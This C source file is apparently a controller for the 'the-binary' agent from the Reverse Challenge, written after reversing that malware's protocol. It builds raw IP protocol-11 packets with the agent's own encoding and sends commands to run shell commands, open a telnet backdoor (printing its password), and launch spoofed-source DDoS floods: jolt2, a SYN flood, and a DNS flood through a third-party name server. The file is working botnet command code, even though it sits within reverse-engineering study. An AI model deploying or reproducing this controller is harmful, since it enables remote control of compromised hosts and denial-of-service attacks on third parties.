/* * This is a quick'n'dirty implementation of a handler which can control * the agent the-binary.c from the Reverse Challenge. * * Note to the kiddies. You'll have to edit the source and recompile to * get it to do much. There is no nice command line options or gui. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* prototypes */ int send_message (unsigned char *src, unsigned char *dst, char *msg, int msglen); unsigned long resolve_hostname (char *hostname); void encode (int len, unsigned char *src, unsigned char *dst); void decode (int len, unsigned char *src, unsigned char *dst); /* command 1 */ void send_status_query (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 1; encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 2 */ void send_init (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 2; /* * This can have three possible values * 0 - send the packet to a single destination * 2 - send the packet to 10 specified destinations * * - send the packet to a given destination, plus 9 random destinations */ buffer[2] = 2; /* ip address of handler */ buffer[3] = 127; buffer[4] = 0; buffer[5] = 0; buffer[6] = 1; /* decoy IP addresses */ buffer[7] = 1; buffer[8] = 2; buffer[9] = 3; buffer[10] = 4; buffer[11] = 5; buffer[12] = 6; buffer[13] = 7; buffer[14] = 8; buffer[15] = 9; buffer[16] = 10; buffer[17] = 11; buffer[18] = 12; buffer[19] = 13; buffer[20] = 14; buffer[21] = 15; buffer[22] = 16; buffer[23] = 17; buffer[24] = 18; buffer[25] = 19; buffer[26] = 20; buffer[27] = 21; buffer[28] = 22; buffer[29] = 23; buffer[30] = 24; buffer[31] = 25; buffer[32] = 26; buffer[33] = 27; buffer[34] = 28; buffer[35] = 29; buffer[36] = 30; buffer[37] = 31; buffer[38] = 32; buffer[39] = 33; buffer[40] = 34; buffer[41] = 35; buffer[42] = 36; encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 3 */ void send_exec_cmd_with_results (unsigned char *src, unsigned char *dst, char *cmd) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 3; strcpy(buffer + 2, cmd); encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 5 */ void jolt2 (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 5; /* use udp or icmp */ buffer[2] = 0; /* destination udp port (0 .. 255) */ buffer[3] = 80; /* victim */ buffer[4] = 129; buffer[5] = 0; buffer[6] = 0; buffer[7] = 1; /* spoofed src IP */ buffer[8] = 128; buffer[9] = 0; buffer[10] = 0; buffer[11] = 1; /* use hostname instead of IP address for victim */ buffer[12] = 0; strcpy(buffer + 13, "victim.example.com"); encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 6 */ void open_backdoor (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 6; encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); printf("telnet %d.%d.%d.%d 23281 - use password SeNiF\n", dst[0], dst[1], dst[2], dst[3]); } /* command 7 */ void send_exec_cmd_no_results (unsigned char *src, unsigned char *dst, char *cmd) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 7; strcpy(buffer + 2, cmd); encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 8 */ void kill_task (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 8; encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 9 */ void dns_flood (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 9; /* victim */ buffer[2] = 129; buffer[3] = 0; buffer[4] = 0; buffer[5] = 1; /* num packets (doesn't really have an effect) */ buffer[6] = 2; /* port */ buffer[7] = 0; buffer[8] = 80; /* use hostname instead of IP address for victim */ buffer[9] = 0; strcpy(buffer + 10, "victim.example.com"); encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 10 & 11 */ void syn_flood (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 11; /* victim */ buffer[2] = 129; buffer[3] = 0; buffer[4] = 0; buffer[5] = 1; /* port */ buffer[6] = 0; /* high byte */ buffer[7] = 80; /* low byte */ /* src specified 1 for specified, 0 for random */ buffer[8] = 0; /* spoofed src IP */ buffer[9] = 128; buffer[10] = 0; buffer[11] = 0; buffer[12] = 1; /* num packets */ buffer[13] = 3; /* use hostname instead of IP address for victim */ buffer[14] = 0; strcpy(buffer + 15, "victim.example.com"); encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } /* command 12 */ void dns_flood_with_name_server (unsigned char *src, unsigned char *dst) { unsigned char buffer[2048]; unsigned char cmd_buffer[2048]; buffer[0] = 0; buffer[1] = 12; /* DNS server */ buffer[2] = 128; buffer[3] = 0; buffer[4] = 0; buffer[5] = 1; /* victim */ buffer[6] = 129; buffer[7] = 0; buffer[8] = 0; buffer[9] = 1; /* num packets */ buffer[10] = 3; /* victim spoofed src port */ buffer[11] = 0; /* high byte */ buffer[12] = 80; /* low byte */ /* use hostname instead of IP address for name server? */ buffer[13] = 1; strcpy(buffer + 14, "ns.example.com"); encode(400, buffer, cmd_buffer); send_message(src, dst, cmd_buffer, ((rand() % 201) + 400)); } void read_results () { unsigned char buffer[2048]; unsigned char decoded_buffer[2048]; int sockfd; int num_bytes; int done; done = 0; sockfd = socket(AF_INET, SOCK_RAW, 11); do { num_bytes = recv(sockfd, buffer, 2048, 0); if ((buffer[9] == 11) && (buffer[20] == 3) && (num_bytes > 200)) { decode(num_bytes - 22, buffer + 22, decoded_buffer); if ((decoded_buffer[1] == 1) && (decoded_buffer[2] == 7)){ printf("status report received from %d.%d.%d.%d:\n", buffer[16], buffer[17], buffer[18], buffer[19]); printf("bss4: %d\n", decoded_buffer[0]); if (decoded_buffer[3] == 1) { printf("currently executing task number %d\n", decoded_buffer[4]); } else { printf("not executing any task\n"); } done = 1; } else if (decoded_buffer[1] == 3) { printf("output of command received from %d.%d.%d.%d:\n", buffer[16], buffer[17], buffer[18], buffer[19]); printf("%s", decoded_buffer + 2); if (decoded_buffer[2] == '\0') done = 1; } else if (decoded_buffer[1] == 4) { printf("%s", decoded_buffer + 2); if (decoded_buffer[2] == '\0') done = 1; } } } while (!done); } int main (int argc, char *argv[]) { unsigned char src[4]; unsigned char dst[4]; /* the source IP address of packets sent to the agent */ src[0] = 127; src[1] = 0; src[2] = 0; src[3] = 1; /* the IP address of the host running the agent */ dst[0] = 127; dst[1] = 0; dst[2] = 0; dst[3] = 1; send_init(src, dst); send_status_query(src, dst); send_exec_cmd_with_results(src, dst, "ls /tmp"); jolt2(src, dst); open_backdoor(src, dst); send_exec_cmd_no_results(src, dst, "ls /bin"); kill_task(src, dst); dns_flood(src, dst); dns_flood_with_name_server(src, dst); syn_flood(src, dst); /* send_exec_cmd_with_results(src, dst, "ls /tmp"); read_results(); */ return 0; } inline unsigned short in_cksum (unsigned short *addr, int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /* * Sends the given message to a particular destination. The message is * sent in an IP datagram using protocol 11. * * - src is a char array of 4 octets - being the address to put in the * source field of the IP packet. (typically the IP address this program * is running on). * - dst is a char array of 4 octets - being the address to put in the * destination field of the IP packet. * - msg is a pointer to the message data to send. * - msglen is the length of the message data to send. */ int send_message (unsigned char *src, unsigned char *dst, char *msg, int msglen) { struct sockaddr_in sockaddr; char buf[32]; unsigned short chksum; char *data_ptr; struct iphdr *pdu; char *cmd_ptr; int sockfd; sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sockfd == -1) { return 0; } pdu = malloc(msglen + 23); if (pdu == NULL) { return 0; } cmd_ptr = ((char *) pdu + sizeof(struct iphdr)); data_ptr = ((char *) pdu + sizeof(struct iphdr) + 2); /* pdu->saddr */ *((char *) pdu + 0xc) = src[0]; *((char *) pdu + 0xd) = src[1]; *((char *) pdu + 0xe) = src[2]; *((char *) pdu + 0xf) = src[3]; /* pdu->daddr */ *((char *) pdu + 0x10) = dst[0]; *((char *) pdu + 0x11) = dst[1]; *((char *) pdu + 0x12) = dst[2]; *((char *) pdu + 0x13) = dst[3]; sprintf(buf, "%d.%d.%d.%d", dst[0], dst[1], dst[2], dst[3]); /* fix bug */ /* sockaddr.sin_addr.s_addr = resolve_hostname(buf); */ sockaddr.sin_addr.s_addr = inet_addr(buf); sockaddr.sin_port = htons(2560); /* this line not needed */ sockaddr.sin_family = AF_INET; /* fill in IP header fields */ pdu->version = 4; pdu->ihl = 5; pdu->ttl = 250; pdu->protocol = 11; pdu->tot_len = htons(msglen + sizeof(struct iphdr) + 2); pdu->tos = 0; pdu->id = htons(rand()); pdu->frag_off = 0; pdu->check = 0; /* calculate IP checksum */ chksum = in_cksum((unsigned short *) pdu, sizeof(struct iphdr)); pdu->check = chksum; /* command is sending message from server to client */ *cmd_ptr = 2; /* append msg data to send */ memcpy(data_ptr, msg, msglen); /* send the packet */ if (sendto(sockfd, pdu, sizeof(struct iphdr) + 2 + msglen, 0, (struct sockaddr *) &sockaddr, sizeof(sockaddr)) == -1) { free(pdu); return 0; } else { close(sockfd); free(pdu); return 1; } } unsigned long resolve_hostname (char *hostname) { static unsigned long bss0; struct hostent *result; result = gethostbyname(hostname); if (result == NULL) return 0; memcpy(&bss0, result->h_addr_list[0], result->h_length); return bss0; } /* * Encodes a given character array specified by src and len, and copies * the encoded array into dst. */ void encode (int len, unsigned char *src, unsigned char *dst) { int i; int tmp1, tmp2, sum; char ch; dst[0] = *"\0"; ch = src[0] + 23; sprintf(dst, "%c", ch); for (i = 1; i != len; i++) { tmp1 = dst[i - 1]; tmp2 = src[i]; sum = tmp1 + tmp2 + 23; dst[i] = sum; } } /* * Decodes a character array encoded by encode(). The encoded array * is specified by src and len, and the output decoded array is copied * into dst. */ void decode (int len, unsigned char *src, unsigned char *dst) { int i, j; int c, d; int p; unsigned char *buf; i = len - 1; buf = alloca(len); *dst = *"\0"; for (; i >= 0; i--) { p = i - 1; if (i != 0) { c = *(src + i) - *(src + p); } else { c = *src; } d = c - 23; while (d < 0) d += 256; for (j = 0; j < len; j++) { *(buf + j) = *(dst + j); } *dst = d; for (j = 1; j < len; j++) { *(dst + j) = *(buf + j - 1); } sprintf(dst, "%c%s", d, buf); } }